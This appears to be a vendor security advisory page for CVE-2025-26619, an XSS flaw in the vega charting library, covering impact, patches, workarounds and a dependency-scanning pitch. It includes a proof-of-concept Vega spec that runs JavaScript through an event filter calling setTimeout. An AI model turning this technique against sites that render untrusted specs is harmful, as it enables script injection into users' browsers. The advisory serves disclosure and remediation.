CVE-2025-26619 — vega
Fix: vega/vega@8fc129aCVE-2025-26619 is a Cross-site Scripting (XSS) vulnerability in vega. A fix is available for vega — see the affected versions and patch details below.
Vega Cross-Site Scripting (XSS) via event filter when not using CSP mode `expressionInterpeter`
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2025-26619.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
veganpmvega-functionsnpmDescription
Impact
In vega 5.30.0 and lower, vega-functions 5.15.0 and lower , it was possible to call JavaScript functions from the Vega expression language that were not meant to be supported.
Patches
Patched in vega 5.31.0 / vega-functions 5.16.0
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
- Run
vegawithoutvega.expressionInterpreter. This mode is not the default as it is slower. - Using the interpreter described in CSP safe mode (Content Security Policy) prevents arbitrary Javascript from running, so users of this mode are not affected by this vulnerability.
References
- Reported to Vega-Lite by @kprevas Nov 8 2024 in https://github.com/vega/vega-lite/issues/9469 & https://github.com/vega/vega/issues/3984
Reproduction of the error in Vega by @mattijn
{
"$schema": "https://vega.github.io/schema/vega/v5.json",
"signals": [
{
"name": "inject_alert",
"on": [
{
"events": [
{
"type": "mousedown",
"marktype": "rect",
"filter": ["scale(event.view.setTimeout, 'alert(\"alert\")')"]
}
],
"update": "datum"
}
]
}
],
"marks": [
{
"type": "rect",
"encode": {
"update": {
"x": {"value": 0},
"y": {"value": 0},
"width": {"value": 100},
"height": {"value": 100}
}
}
}
]
}
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | vega | all versions | 5.31.0npm install vega@5.31.0 |
| 📦npm | vega-functions | all versions | 5.16.0npm install vega-functions@5.16.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for vega, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update vega to 5.31.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-26619 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2025-26619 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2025-26619. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2025-26619 in your dependencies?
O3 Security finds CVE-2025-26619 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.